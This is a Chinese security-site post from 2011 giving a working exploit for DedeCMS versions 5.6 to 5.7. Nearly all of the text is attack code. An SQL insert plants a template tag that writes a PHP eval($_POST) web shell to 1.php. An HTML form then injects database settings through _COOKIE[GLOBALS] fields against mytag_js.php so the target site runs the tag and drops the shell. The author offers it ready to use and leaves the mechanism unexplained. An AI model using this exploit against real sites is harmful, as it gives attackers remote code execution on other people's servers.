热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

DedeCms v5.6-5.7 最新漏洞 拿 WebShell EXP

发布时间:2011-08-12 08:44文章来源:网络文章作者:jannock 点击次数:
摘要:前题条件,必须准备好自己的dede数据库,然后插入数据: 以下是引用片段: insertintodede_mytag(aid,normbody)values(1,'{dede:php}$fp=@fopen(1.php,\'a\');@fwrite($fp,\'?phpeval($_POST[c])?\');echoOK;@fclose($fp);{/dede:php}'); 再用下面表单提交,...

前题条件,必须准备好自己的dede数据库,然后插入数据:

 

以下是引用片段:

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');

    再用下面表单提交,shell 就在同目录下  1.php。原理自己研究。。。

 

以下是引用片段:

 <form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>

 

标签分类:

上一篇:关于phpMyAdmin 3.x那多个漏洞
下一篇:绕过dotDefender防火墙方法